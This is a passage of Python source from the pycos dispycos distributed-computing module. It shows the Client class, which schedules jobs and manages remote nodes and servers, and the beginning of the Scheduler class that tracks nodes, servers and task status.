zombie_period / 3)\n else:\n self._pulse_interval = pulse_interval\n self._ping_interval = ping_interval\n self._zombie_period = zombie_period\n if nodes:\n self._node_allocations = [node if isinstance(node, DispycosNodeAllocate)\n else DispycosNodeAllocate(node) for node in nodes]\n else:\n self._node_allocations = []\n self._node_allocations.append(DispycosNodeAllocate('*'))\n self.status_task = status_task\n if node_setup:\n components.append(node_setup)\n self._node_setup = node_setup.__name__\n else:\n self._node_setup = None\n if server_setup:\n components.append(server_setup)\n self._server_setup = server_setup.__name__\n else:\n self._server_setup = None\n self._disable_nodes = bool(disable_nodes)\n self._disable_servers = bool(disable_servers)\n self._restart_servers = bool(restart_servers)\n self._abandon_zombie = bool(abandon_zombie_nodes)\n self.__rtasks = {}\n self.__askew_tasks = {}\n\n depends = set()\n cwd = os.getcwd()\n for dep in components:\n if isinstance(dep, str) or inspect.ismodule(dep):\n if inspect.ismodule(dep):\n name = dep.__file__\n if name.endswith('.pyc'):\n name = name[:-1]\n if not name.endswith('.py'):\n raise Exception('Invalid module \"%s\" - must be python source.' % dep)\n if name.startswith(cwd):\n dst = os.path.dirname(name[len(cwd):].lstrip(os.sep))\n elif dep.__package__:\n dst = dep.__package__.replace('.', os.sep)\n else:\n dst = os.path.dirname(dep.__name__.replace('.', os.sep))\n else:\n name = os.path.abspath(dep)\n if name.startswith(cwd):\n dst = os.path.dirname(name[len(cwd):].lstrip(os.sep))\n else:\n dst = '.'\n if name in depends:\n continue\n try:\n with open(name, 'rb'):\n pass\n except Exception:\n raise Exception('File \"%s\" is not valid' % name)\n self._xfer_files.append((name, dst, os.sep))\n depends.add(name)\n elif (inspect.isgeneratorfunction(dep) or inspect.isfunction(dep) or\n inspect.isclass(dep) or hasattr(dep, '__class__')):\n if inspect.isgeneratorfunction(dep) or inspect.isfunction(dep):\n name = dep.__name__\n elif inspect.isclass(dep):\n name = dep.__name__\n elif hasattr(dep, '__class__') and inspect.isclass(dep.__class__):\n dep = dep.__class__\n name = dep.__name__\n if name in depends:\n continue\n depends.add(name)\n self.__xfer_funcs.add(name)\n self._code += '\\n' + inspect.getsource(dep).lstrip()\n else:\n raise Exception('Invalid component: %s' % dep)\n # check code can be compiled\n compile(self._code, '', 'exec')\n # Under Windows dispycos server may send objects with '__mp_main__'\n # scope, so make an alias to '__main__'. Do so even if scheduler is not\n # running on Windows; it is possible the client is not Windows, but a\n # node is.\n if os.name == 'nt' and '__mp_main__' not in sys.modules:\n sys.modules['__mp_main__'] = sys.modules['__main__']\n\n def schedule(self, location=None, timeout=None):\n \"\"\"Schedule client for execution. Must be used with 'yield' as\n 'result = yield client.schedule()'. If scheduler is executing other clients,\n this will block until scheduler processes them (clients are processed in the\n order submitted).\n \"\"\"\n\n if location is None:\n Scheduler()\n elif isinstance(location, Location):\n self.__scheduler = Location(pycos.Pycos.host_ipaddr(location.addr), location.port)\n elif isinstance(location, str):\n if not isinstance(pycos.config.DispycosSchedulerPort, int):\n pycos.config.DispycosSchedulerPort = eval(pycos.config.DispycosSchedulerPort)\n self.__scheduler = Location(pycos.Pycos.host_ipaddr(location),\n pycos.config.DispycosSchedulerPort)\n else:\n raise Exception('\"loaction\" must be an instance of Location or host name or IP')\n\n if self._auth is not None:\n raise StopIteration(0)\n self._auth = ''\n if self.status_task is not None and not isinstance(self.status_task, Task):\n raise StopIteration(-1)\n\n if not self._pulse_task:\n self._pulse_task = SysTask(self._pulse_proc)\n location = None\n if self.__scheduler is None:\n location = self._pulse_task.location\n elif isinstance(self.__scheduler, Location):\n if (yield pycos.Pycos.instance().peer(self.__scheduler)) == 0:\n location = self.__scheduler\n self.__scheduler = yield SysTask.locate('dispycos_scheduler', location=location,\n timeout=MsgTimeout)\n if not isinstance(self.__scheduler, Task):\n pycos.logger.warning('could not find dispycos scheduler at %s', location)\n raise StopIteration(-1)\n\n def _schedule(self, task=None):\n msg = {'req': 'schedule', 'client': pycos.serialize(self),\n 'auth': self._auth, 'reply_task': task}\n self.__scheduler.send(msg)\n self._auth = yield task.receive(timeout=MsgTimeout)\n if not isinstance(self._auth, str):\n logger.debug('Could not send client to scheduler %s: %s',\n self.__scheduler, self._auth)\n raise StopIteration(-1)\n SysTask.scheduler().atexit(10, lambda: SysTask(self.close))\n if task.location != self.__scheduler.location:\n for xf, dst, sep in self._xfer_files:\n drive, xf = os.path.splitdrive(xf)\n if xf.startswith(sep):\n xf = os.path.join(os.sep, *(xf.split(sep)))\n else:\n xf = os.path.join(*(xf.split(sep)))\n xf = drive + xf\n dst = os.path.join(self._auth, os.path.join(*(dst.split(sep))))\n if (yield pycos.Pycos.instance().send_file(\n self.__scheduler.location, xf, dir=dst, timeout=MsgTimeout)) < 0:\n logger.warning('Could not send file \"%s\" to scheduler', xf)\n yield self.close()\n raise StopIteration(-1)\n msg = {'req': 'await', 'auth': self._auth, 'reply_task': task}\n self.__scheduler.send(msg)\n resp = yield task.receive(timeout=timeout)\n if (isinstance(resp, dict) and resp.get('auth') == self._auth and\n resp.get('resp') == 'scheduled'):\n raise StopIteration(0)\n else:\n yield self.close()\n raise StopIteration(-1)\n\n raise StopIteration((yield Task(_schedule, self).finish()))\n\n def nodes(self):\n \"\"\"Get list of addresses of nodes initialized for this client. Must\n be used with 'yield' as 'yield client.nodes()'.\n \"\"\"\n\n def _nodes(self, task=None):\n msg = {'req': 'nodes', 'auth': self._auth, 'reply_task': task}\n if (yield self.__scheduler.deliver(msg, timeout=MsgTimeout)) == 1:\n yield task.receive(MsgTimeout)\n else:\n raise StopIteration([])\n\n raise StopIteration((yield Task(_nodes, self).finish()))\n\n def servers(self):\n \"\"\"Get list of Location instances of servers initialized for this\n client. Must be used with 'yield' as 'yield client.servers()'.\n \"\"\"\n\n def _servers(self, task=None):\n msg = {'req': 'servers', 'auth': self._auth, 'reply_task': task}\n if (yield self.__scheduler.deliver(msg, timeout=MsgTimeout)) == 1:\n yield task.receive(MsgTimeout)\n else:\n raise StopIteration([])\n\n raise StopIteration((yield Task(_servers, self).finish()))\n\n def tasks(self, where):\n \"\"\"Get list of tasks at given node or server for this client.\n Must be used with 'yield' as 'yield client.tasks()'.\n \"\"\"\n\n if isinstance(where, str):\n addr = pycos.Pycos.host_ipaddr(where)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', where)\n\n def _tasks(self, task=None):\n msg = {'req': 'tasks', 'auth': self._auth, 'reply_task': task, 'at': addr}\n if (yield self.__scheduler.deliver(msg, timeout=MsgTimeout)) == 1:\n yield task.receive(MsgTimeout)\n else:\n raise StopIteration([])\n\n raise StopIteration((yield Task(_tasks, self).finish()))\n\n def close(self, await_io=False, terminate=False, timeout=None):\n \"\"\"Close client. Must be used with 'yield' as 'yield client.close()'.\n \"\"\"\n\n def _close(self, done, task=None):\n msg = {'req': 'close_client', 'auth': self._auth, 'reply_task': task,\n 'await_io': bool(await_io), 'terminate': bool(terminate)}\n self.__scheduler.send(msg)\n msg = yield task.receive(timeout=timeout)\n if msg != 'closed':\n logger.warning('%s: closing client failed?', self._auth)\n self._auth = None\n if self._pulse_task:\n yield self._pulse_task.send('quit')\n self._pulse_task = None\n done.set()\n\n if self._auth:\n done = pycos.Event()\n SysTask(_close, self, done)\n yield done.wait()\n\n def rtask_at(self, where, gen, *args, **kwargs):\n \"\"\"Must be used with 'yield' as\n\n 'rtask = yield client.rtask_at(where, gen, ...)'\n\n Run given generator function 'gen' with arguments 'args' and 'kwargs' at\n remote server 'where'. If the request is successful, 'rtask' will be a\n (remote) task; check result with 'isinstance(rtask,\n pycos.Task)'. The generator is expected to be (mostly) CPU bound and\n until this is finished, another CPU bound task will not be\n submitted at same server.\n\n If 'where' is a string, it is assumed to be IP address of a node, in\n which case the task is scheduled at that node on a server at that\n node. If 'where' is a Location instance, it is assumed to be server\n location in which case the task is scheduled at that server.\n\n 'gen' must be generator function, as it is used to run task at\n remote location.\n \"\"\"\n if isinstance(where, Location):\n addr = where\n elif isinstance(where, str):\n addr = pycos.Pycos.host_ipaddr(where)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', where)\n raise StopIteration((yield self._rtask_req(addr, 1, gen, *args, **kwargs)))\n\n def rtask(self, gen, *args, **kwargs):\n \"\"\"Run CPU bound task at any remote server; see 'rtask_at' above.\n \"\"\"\n raise StopIteration((yield self._rtask_req(None, 1, gen, *args, **kwargs)))\n\n def io_rtask_at(self, where, gen, *args, **kwargs):\n \"\"\"Must be used with 'yield' as\n\n 'rtask = yield client.io_rtask_at(where, gen, ...)'\n\n Run given generator function 'gen' with arguments 'args' and 'kwargs' at\n remote server 'where'. If the request is successful, 'rtask' will be a\n (remote) task; check result with 'isinstance(rtask,\n pycos.Task)'. The generator is supposed to be (mostly) I/O bound and\n not consume CPU time. The scheduler will schedule unlimited number of these\n I/O tasks at a server, whereas at most one CPU bound task is scheduled at\n any time.\n\n If 'where' is a string, it is assumed to be IP address of a node, in\n which case the task is scheduled at that node on a server at that\n node. If 'where' is a Location instance, it is assumed to be server\n location in which case the task is scheduled at that server.\n\n 'gen' must be generator function, as it is used to run task at\n remote location.\n \"\"\"\n if isinstance(where, Location):\n addr = where\n elif isinstance(where, str):\n addr = pycos.Pycos.host_ipaddr(where)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', where)\n raise StopIteration((yield self._rtask_req(addr, 0, gen, *args, **kwargs)))\n\n def io_rtask(self, gen, *args, **kwargs):\n \"\"\"Run I/O bound task at any server; see 'io_rtask_at' above.\n \"\"\"\n raise StopIteration((yield self._rtask_req(None, 0, gen, *args, **kwargs)))\n\n run_at = rtask_at\n run = rtask\n run_async_at = io_rtask_at\n run_async = io_rtask\n\n def enable_node(self, node, *setup_args):\n \"\"\"If client disabled nodes (with 'disabled_nodes=True' when\n Client is constructed), nodes are not automatically used by the\n scheduler until nodes are enabled with 'enable_node'.\n\n 'node' must be either IP address or host name of the node to be\n enabled.\n\n 'setup_args' is arguments passed to 'node_setup' function specific to\n that node. If 'node_setup' succeeds (i.e., finishes with value 0), the\n node is used for clients.\n \"\"\"\n if self.__scheduler:\n if isinstance(node, Location):\n addr = node.addr\n elif isinstance(node, str):\n addr = pycos.Pycos.host_ipaddr(node)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', node)\n self.__scheduler.send({'req': 'enable_node', 'auth': self._auth, 'addr': addr,\n 'setup_args': pycos.serialize(setup_args)})\n\n def enable_server(self, location, *setup_args):\n \"\"\"If client disabled servers (with 'disabled_servers=True' when\n Client is constructed), servers are not automatically used by the\n scheduler until they are enabled with 'enable_server'.\n\n 'location' must be Location instance of the server to be enabled.\n\n 'setup_args' is arguments passed to 'server_setup' function specific to\n that server. If 'server_setup' succeeds (i.e., finishes with value 0), the\n server is used for clients.\n \"\"\"\n if self.__scheduler:\n if not isinstance(location, Location):\n logger.warning('invalid location \"%s\"', location)\n self.__scheduler.send({'req': 'enable_server', 'auth': self._auth, 'server': location,\n 'setup_args': pycos.serialize(setup_args)})\n\n def suspend_node(self, node):\n \"\"\"Suspend submitting jobs (tasks) at this node. Any currently running\n tasks are left running.\n \"\"\"\n if self.__scheduler:\n if isinstance(node, Location):\n addr = node.addr\n elif isinstance(node, str):\n addr = pycos.Pycos.host_ipaddr(node)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', node)\n self.__scheduler.send({'req': 'suspend_node', 'auth': self._auth, 'addr': addr})\n\n def resume_node(self, node):\n \"\"\"Resume submitting jobs (tasks) at this node.\n \"\"\"\n if self.__scheduler:\n if isinstance(node, Location):\n addr = node.addr\n elif isinstance(node, str):\n addr = pycos.Pycos.host_ipaddr(node)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', node)\n self.__scheduler.send({'req': 'enable_node', 'auth': self._auth, 'addr': addr})\n\n def suspend_server(self, location):\n \"\"\"Suspend submitting jobs (tasks) at this server. Any currently running\n tasks are left running.\n \"\"\"\n if self.__scheduler:\n if not isinstance(location, Location):\n logger.warning('invalid location \"%s\"', location)\n self.__scheduler.send({'req': 'suspend_server', 'auth': self._auth, 'server': location})\n\n def resume_server(self, location):\n \"\"\"Resume submitting jobs (tasks) at this server.\n \"\"\"\n if self.__scheduler:\n if not isinstance(location, Location):\n logger.warning('invalid location \"%s\"', location)\n self.__scheduler.send({'req': 'enable_server', 'auth': self._auth, 'server': location})\n\n def close_server(self, location, terminate=False, restart=False):\n \"\"\"Close server at given location. After this call, no more tasks are scheduled\n at that server.\n\n If 'terminate' is True, any tasks running at that server are terminated without waiting\n for them to finish. If it is False, the server will wait until tasks finish before closing.\n \"\"\"\n if self.__scheduler:\n if not isinstance(location, Location):\n logger.warning('invalid location \"%s\"', location)\n self.__scheduler.send({'req': 'close_server', 'auth': self._auth, 'addr': location,\n 'terminate': bool(terminate), 'restart': bool(restart)})\n\n def restart_server(self, location, terminate=False):\n \"\"\"Restart server at given location. If 'terminate' is True, kill any running tasks.\n \"\"\"\n if self.__scheduler:\n if not isinstance(location, Location):\n logger.warning('invalid location \"%s\"', location)\n self.__scheduler.send({'req': 'close_server', 'auth': self._auth, 'addr': location,\n 'terminate': bool(terminate), 'restart': True})\n\n def close_node(self, node, terminate=False):\n \"\"\"Close node at given location, which can be either a Location instance (of any server\n at that node or of node itself) or IP address. After this call, no more tasks are\n scheduled at that node.\n\n If 'terminate' is True, any tasks running at any of the servers at the node are terminated\n without waiting for them to finish. If it is False, the node will wait until tasks finish\n before closing.\n \"\"\"\n if self.__scheduler:\n if isinstance(node, Location):\n addr = node.addr\n elif isinstance(node, str):\n addr = pycos.Pycos.host_ipaddr(node)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', node)\n self.__scheduler.send({'req': 'close_node', 'auth': self._auth, 'addr': addr,\n 'terminate': bool(terminate), 'restart': False})\n\n def restart_node(self, node, *setup_args, terminate=False):\n \"\"\"Close node at given location, which can be either a Location instance (of any server\n at that node or of node itself) or IP address. After this call, no more tasks are\n scheduled at that node.\n\n If 'terminate' is True, any tasks running at any of the servers at the node are terminated\n without waiting for them to finish. If it is False, the node will wait until tasks finish\n before closing.\n \"\"\"\n if self.__scheduler:\n if isinstance(node, Location):\n addr = node.addr\n elif isinstance(node, str):\n addr = pycos.Pycos.host_ipaddr(node)\n else:\n addr = None\n if not addr:\n logger.warning('invalid host name / IP address \"%s\"', node)\n self.__scheduler.send({'req': 'close_node', 'auth': self._auth, 'addr': addr,\n 'terminate': bool(terminate), 'restart': True,\n 'setup_args': pycos.serialize(setup_args)})\n\n def node_allocate(self, node_allocate):\n \"\"\"Request scheduler to add 'node_allocate' to any previously sent\n 'node_allocations'.\n \"\"\"\n if not isinstance(node_allocate, DispycosNodeAllocate):\n return -1\n if not self._pulse_task:\n return -1\n if (node_allocate.__class__ != DispycosNodeAllocate and\n self._pulse_task.location != self.__scheduler.location):\n node_allocate = copy.copy(node_allocate)\n node_allocate.__class__ = DispycosNodeAllocate\n return self.__scheduler.send({'req': 'node_allocate', 'auth': self._auth,\n 'node': node_allocate})\n\n def abandon_zombie(self, location, flag):\n \"\"\"If a node at given location is deemed zombie (i.e., no response in 'zombie_period'),\n then abandon any jobs running on servers on that node. If a node is detected later,\n it will be treated as new (instance of) node.\n\n 'location' can be either Location instance of any server at the node or of the node\n itself, IP address of node or None. If 'location' is None, then all nodes currently used\n by client and any nodes added for client will be abandoned (when they become\n zombies) as well.\n\n 'flag' must be either True or False indicating whether nodes would be abandoned or not.\n \"\"\"\n if self.__scheduler:\n if isinstance(location, Location):\n location = location.addr\n self.__scheduler.send({'req': 'abandon_zombie', 'auth': self._auth, 'addr': location,\n 'flag': bool(flag)})\n\n def _rtask_req(self, where, cpu, gen, *args, **kwargs):\n \"\"\"Internal use only.\n \"\"\"\n if not inspect.isgeneratorfunction(gen):\n logger.warning('rtask first argument must be generator function')\n raise StopIteration(None)\n\n name = gen.__name__\n if name in self.__xfer_funcs:\n code = None\n else:\n code = inspect.getsource(gen).lstrip()\n\n def _job_req(task=None):\n msg = {'req': 'job', 'auth': self._auth, 'reply_task': task,\n 'job': _DispycosJob_(name, where, cpu, code, args, kwargs)}\n if (yield self.__scheduler.deliver(msg, timeout=MsgTimeout)) != 1:\n pycos.logger.warning('scheduling %s timedout', name)\n raise StopIteration(None)\n\n msg = yield task.receive()\n if not isinstance(msg, Task):\n if (isinstance(msg, MonitorStatus) and\n isinstance(msg.info, str) and isinstance(msg.value, str)):\n msg = ': %s\\n%s' % (msg.info, msg.value)\n else:\n msg = ''\n pycos.logger.warning('running %s failed%s', name, msg)\n raise StopIteration(None)\n rtask = msg\n setattr(rtask, '_complete', pycos.Event())\n rtask._complete.clear()\n if self.__askew_tasks:\n askew = self.__askew_tasks.pop(rtask, None)\n else:\n askew = None\n if askew:\n # assert isinstance(askew._value, MonitorStatus)\n askew._value.info = rtask\n if askew._value.type == StopIteration:\n pycos.logger.debug('rtask %s done', rtask)\n rtask._value = askew._value.value\n elif askew._value.type == Scheduler.TaskTerminated:\n pycos.logger.warning('rtask %s terminated', rtask)\n elif askew._value.type == Scheduler.TaskAbandoned:\n pycos.logger.warning('rtask %s abandoned', rtask)\n else:\n rtask._value = askew._value\n pycos.logger.warning('rtask %s failed: %s with %s',\n rtask, askew._value.type, askew._value.value)\n rtask._complete.set()\n if self.status_task:\n self.status_task.send(askew._value)\n else:\n setattr(rtask, '_value', None)\n self.__rtasks[rtask] = rtask\n if self.status_task:\n msg = DispycosTaskInfo(rtask, args, kwargs)\n self.status_task.send(DispycosStatus(Scheduler.TaskStarted, msg))\n raise StopIteration(rtask)\n\n raise StopIteration((yield Task(_job_req).finish()))\n\n def _pulse_proc(self, task=None):\n \"\"\"For internal use only.\n \"\"\"\n task.set_daemon()\n last_pulse = time.time()\n timeout = 2 * self._pulse_interval\n while 1:\n msg = yield task.receive(timeout=timeout)\n\n if msg == 'pulse':\n last_pulse = time.time()\n\n elif isinstance(msg, dict):\n if msg.get('auth', None) != self._auth:\n continue\n last_pulse = time.time()\n req = msg.get('req', None)\n\n if isinstance(req, MonitorStatus):\n # TODO: process in Scheduler if not shared\n if not isinstance(req.info, Task):\n if isinstance(req.info, str) and isinstance(req.value, str):\n pycos.logger.info('%s: %s with %s', req.info, req.type, req.value)\n else:\n pycos.logger.warning('invalid MonitorStatus message ignored: %s',\n type(req.info))\n continue\n rtask = self.__rtasks.pop(req.info, None)\n if rtask:\n req.info = rtask\n if req.type == StopIteration:\n pycos.logger.debug('rtask %s done', rtask)\n rtask._value = req.value\n elif req.type == Scheduler.TaskTerminated:\n pycos.logger.warning('rtask %s terminated', rtask)\n elif req.type == Scheduler.TaskAbandoned:\n pycos.logger.warning('rtask %s abandoned', rtask)\n else:\n rtask._value = req\n pycos.logger.warning('rtask %s failed: %s with %s',\n rtask, req.type, req.value)\n rtask._complete.set()\n if self.status_task:\n self.status_task.send(req)\n else:\n rtask = req.info\n setattr(rtask, '_value', req)\n self.__askew_tasks[rtask] = rtask\n\n elif req == 'allocate':\n reply_task = msg.get('reply_task', None)\n args = msg.get('args', ())\n if not isinstance(reply_task, Task) or not args:\n logger.warning('Ignoring allocate request: %s', type(reply_task))\n continue\n ip_addr = args[0]\n try:\n node_allocation = self._node_allocations[int(msg['alloc_id'])]\n assert re.match(node_allocation.ip_rex, ip_addr)\n cpus = node_allocation.allocate(*args)\n except Exception:\n cpus = 0\n reply_task.send({'auth': self._auth, 'req': 'allocate',\n 'ip_addr': ip_addr, 'cpus': cpus})\n\n else:\n pycos.logger.debug('Ignoring message: %s', type(msg))\n\n elif msg == 'quit':\n break\n\n elif msg is None:\n logger.warning('scheduler is not reachable!')\n if (time.time() - last_pulse) > (10 * self._pulse_interval):\n # TODO: inform status and / or \"close\"?\n pass\n\n else:\n logger.debug('ignoring invalid pulse message')\n\n def __getstate__(self):\n state = {}\n for attr in ['_auth', '_code', 'status_task', '_xfer_files', '_node_setup', '_server_setup',\n '_disable_nodes', '_disable_servers', '_pulse_interval', '_pulse_task',\n '_ping_interval', '_restart_servers', '_zombie_period', '_abandon_zombie']:\n state[attr] = getattr(self, attr)\n if (isinstance(self._pulse_task, Task) and\n isinstance(getattr(self, '__scheduler', None), Task) and\n self._pulse_task.location == self.__scheduler.location):\n node_allocations = self._node_allocations\n else:\n node_allocations = []\n for i in range(len(self._node_allocations)):\n obj = self._node_allocations[i]\n if obj.__class__ != DispycosNodeAllocate:\n ip_rex = obj.ip_rex\n obj = DispycosNodeAllocate('*', port=obj.port)\n obj.ip_rex = ip_rex\n obj.cpus = str(i)\n node_allocations.append(obj)\n state['_node_allocations'] = node_allocations\n return state\n\n def __setstate__(self, state):\n for attr, value in state.items():\n setattr(self, attr, value)\n\n\n# for backward compatability\nComputation = Client\n\n\nclass _DispycosJob_(object):\n \"\"\"Internal use only.\n \"\"\"\n __slots__ = ('name', 'where', 'cpu', 'code', 'args', 'kwargs', 'done')\n\n def __init__(self, name, where, cpu, code, args=None, kwargs=None):\n self.name = name\n self.where = where\n self.cpu = cpu\n self.code = code\n self.args = pycos.serialize(args)\n self.kwargs = pycos.serialize(kwargs)\n\n\nclass Scheduler(object, metaclass=pycos.Singleton):\n\n # status indications ('status' attribute of DispycosStatus)\n NodeIgnore = 1\n NodeDiscovered = 2\n NodeInitialized = 3\n NodeSuspended = 4\n NodeResumed = 5\n NodeClosed = 6\n NodeDisconnected = 7\n NodeAbandoned = 8\n\n # ServerIgnore = 11\n ServerDiscovered = 12\n ServerInitialized = 13\n ServerSuspended = 14\n ServerResumed = 15\n ServerClosed = 16\n ServerDisconnected = 17\n ServerAbandoned = 18\n\n TaskStarted = 21\n TaskFinished = 22\n TaskAbandoned = 23\n TaskTerminated = 24\n TaskCreated = TaskStarted\n\n ClientScheduled = 31\n ClientClosed = 32\n\n \"\"\"This class is for use by Client class (see below) only. Other than\n the status indications above, none of its attributes are to be accessed\n directly.\n \"\"\"\n\n class _Node(object):\n\n def __init__(self, name, addr):\n self.name = name\n self.addr = addr\n self.cpus_used = 0\n self.cpus = 0\n self.platform = None\n self.avail_info = None\n self.servers = {}\n self.disabled_servers = {}\n self.load = 0.0\n self.status = Scheduler.NodeClosed\n self.task = None\n self.auth = None\n self.last_pulse = time.time()\n self.lock = pycos.Lock()\n self.cpu_avail = pycos.Event()\n self.cpu_avail.clear()\n self.abandon_zombie = False\n\n class _Server(object):\n\n def __init__(self, task, scheduler):\n self.task = task\n self.status = Scheduler.ServerClosed\n self.rtasks = {}\n self.xfer_files = []\n self.askew_results = {}\n self.cpu_avail = pycos.Event()\n self.cpu_avail.clear()\n self.scheduler = scheduler\n self.name = None\n self.pid = None\n self.done = pycos.Event()\n\n def run(self, job, reply_task, node):\n def _run(self, task=None):\n self.task.send({'req': 'task', 'auth': node.auth, 'job': job, 'reply_task': task})\n rtask = yield task.receive(timeout=MsgTimeout)\n # currently fault-tolerancy is not supported, so clear job's\n # args to save space\n job.args = job.kwargs = None\n if isinstance(rtask, Task):\n # TODO: keep func too for fault-tolerance\n self.rtasks[rtask] = job\n if self.askew_results:\n msg = self.askew_results.pop(rtask, None)\n if msg:\n self.scheduler.__status_task.send(msg)\n else:\n if job.cpu:\n self.cpu_avail.set()\n if (self.status == Scheduler.ServerInitialized and\n node.status == Scheduler.NodeInitialized):\n node.cpu_avail.set()\n self.scheduler._cpu_nodes.add(node)\n self.scheduler._cpus_avail.set()\n node.cpus_used -= 1\n node.load = float(node.cpus_used) / len(node.servers)\n raise StopIteration(rtask)\n\n rtask = yield SysTask(_run, self).finish()\n reply_task.send(rtask)\n\n def __init__(self, **kwargs):\n self._nodes = {}\n self._disabled_nodes = {}\n self._cpu_nodes = set()\n self._cpus_avail = pycos.Event()\n self._cpus_avail.clear()\n self._remote = False\n\n self.__client = None\n self.__client_auth = None\n self.__cur_node_allocations = []\n self.__pulse_interval = kwargs.pop('pulse_interval', MaxPulseInterval)\n self.__ping_interval = kwargs.pop('ping_interval', 0)\n self.__zombie_period = kwargs.pop('zombie_period', 100 * MaxPulseInterval)\n if not isinstance(pycos.config.DispycosSchedulerPort, int):\n pycos.config.DispycosSchedulerPort = eval(pycos.config.DispycosSchedulerPort)\n if not isinstance(pycos.config.DispycosNodePort, int):\n pycos.config.DispycosNodePort = eval(pycos.config.DispycosNodePort)\n self._node_port = pycos.config.DispycosNodePort\n\n kwargs['name'] = 'dispycos_scheduler'\n clean = kwargs.pop('clean', False)\n nodes = kwargs.pop('nodes', [])\n relay_nodes = kwargs.pop('relay_nodes', False)\n kwargs['udp_port'] = kwargs['tcp_port'] = pycos.config.DispycosSchedulerPort\n self.pycos = pycos.Pycos.instance(**kwargs)\n self.__dest_path = os.path.join(self.pycos.dest_path, 'dispycos', 'scheduler')\n if clean:\n shutil.rmtree(self.__dest_path)\n self.pycos.dest_path = self.__dest_path\n os.chmod(self.__dest_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n\n self.__client_sched_event = pycos.Event()\n self.__client_scheduler_task = SysTask(self.__client_scheduler_proc)\n self.__status_task = SysTask(self.__status_proc)\n self.__timer_task = SysTask(self.__timer_proc)\n self.__client_task = SysTask(self.__client_proc)\n self.__client_task.register('dispycos_scheduler')\n for node in nodes:\n if not isinstance(node, Location):\n node = Location(node, self._node_port)\n Task(self.pycos.peer, node, relay=relay_nodes)\n\n def status(self):\n pending_cpu = sum(node.cpus_used for node in self._nodes.values())\n pending = sum(len(server.rtasks) for node in self._nodes.values()\n for server in node.servers.values())\n servers = functools.reduce(operator.add, [list(node.servers.keys())\n for node in self._nodes.values()], [])\n return {'Client': self.__client._pulse_task.location if self.__client else '',\n 'Pending': pending, 'PendingCPU': pending_cpu,\n 'Nodes': list(self._nodes.keys()), 'Servers': servers\n }\n\n def print_status(self):\n status = self.status()\n print('')\n print(' Client: %s' % status['Client'])\n print(' Pending: %s' % status['Pending'])\n print(' Pending CPU: %s' % status['PendingCPU'])\n print(' nodes: %s' % len(status['Nodes']))\n print(' servers: %s' % len(status['Servers']))\n\n def __status_proc(self, task=None):\n task.set_daemon()\n task.register('dispycos_status')\n self.pycos.peer_status(self.__status_task)\n while 1:\n msg = yield task.receive()\n now = time.time()\n if isinstance(msg, MonitorStatus):\n if not isinstance(msg.info, Task):\n if self._remote and self.__client:\n self.__client._pulse_task.send({'req': msg, 'auth': self.__client_auth})\n else:\n if isinstance(msg.info, str) and isinstance(msg.value, str):\n logger.info('%s: %s with %s', msg.info, msg.type, msg.value)\n else:\n logger.warning('invalid MonitorStatus ignored: %s', type(msg.info))\n continue\n rtask = msg.info\n node = self._nodes.get(rtask.location.addr, None)\n if not node:\n node = self._disabled_nodes.get(rtask.location.addr, None)\n if not node:\n logger.warning('node %s is invalid', rtask.location.addr)\n continue\n if node.status == Scheduler.NodeAbandoned:\n SysTask(self.__reclaim_node, node)\n\n server = node.servers.get(rtask.location, None)\n if not server:\n server = node.disabled_servers.get(rtask.location, None)\n if not server:\n logger.warning('server \"%s\" is invalid', rtask.location)\n continue\n node.last_pulse = now\n job = server.rtasks.pop(rtask, None)\n if not job:\n # Due to 'yield' used to create rtask, scheduler may not have updated\n # self._rtasks before the task's MonitorStatus is received, so put it in\n # 'askew_results'. The scheduling task will resend it when it receives rtask\n server.askew_results[rtask] = msg\n continue\n # assert isinstance(job, _DispycosJob_)\n if job.cpu:\n server.cpu_avail.set()\n if (server.status == Scheduler.ServerInitialized and\n node.status == Scheduler.NodeInitialized):\n node.cpu_avail.set()\n self._cpu_nodes.add(node)\n self._cpus_avail.set()\n node.cpus_used -= 1\n node.load = float(node.cpus_used) / len(node.servers)\n if self.__client:\n self.__client._pulse_task.send({'req': msg, 'auth': self.__client_auth})\n\n elif isinstance(msg, pycos.PeerStatus):\n if msg.status == pycos.PeerStatus.Online:\n if msg.name.endswith('_dispycosnode'):\n SysTask(self.__discover_node, msg)\n else:\n # msg.status == pycos.PeerStatus.Offline\n node = server = None\n node = self._nodes.get(msg.location.addr, None)\n if not node:\n node = self._disabled_nodes.get(msg.location.addr, None)\n if node:\n server = node.servers.pop(msg.location, None)\n if server:\n node.disabled_servers[msg.location] = server\n else:\n server = node.disabled_servers.get(msg.location, None)\n\n if server:\n server.status = Scheduler.ServerDisconnected\n SysTask(self.__close_server, server, server.pid, node)\n elif node.task and node.task.location == msg.location:\n # TODO: inform scheduler / client\n if self._nodes.pop(node.addr, None):\n self._disabled_nodes[node.addr] = node\n node.status = Scheduler.NodeDisconnected\n SysTask(self.__close_node, node)\n\n if ((not server and not node) and self._remote and self.__client and\n self.__client._pulse_task.location == msg.location):\n logger.warning('Client %s terminated; closing client %s',\n msg.location, self.__client_auth)\n SysTask(self.__close_client)\n\n elif isinstance(msg, dict): # message from a node's server\n status = msg.get('status', None)\n if status == 'pulse':\n location = msg.get('location', None)\n if not isinstance(location, Location):\n continue\n node = self._nodes.get(location.addr, None)\n if node:\n node.last_pulse = now\n node_status = msg.get('node_status', None)\n if (node_status and self.__client and\n self.__client.status_task):\n self.__client.status_task.send(node_status)\n else:\n node = self._disabled_nodes.get(location.addr, None)\n if node and node.status == Scheduler.NodeAbandoned:\n SysTask(self.__reclaim_node, node)\n\n elif status == Scheduler.ServerDiscovered:\n rtask = msg.get('task', None)\n if not isinstance(rtask, Task):\n continue\n node = self._nodes.get(rtask.location.addr, None)\n if not node:\n node = self._disabled_nodes.get(rtask.location.addr, None)\n if not node or (node.status != Scheduler.NodeInitialized and\n node.status != Scheduler.NodeDiscovered and\n node.status != Scheduler.NodeSuspended):\n logger.warning('Node is not valid for server %s: %s', rtask.location,\n node.status if node else None)\n continue\n if node.auth != msg.get('auth', None):\n logger.warning('Ignoring status %s from server %s', status, rtask.location)\n continue\n server = 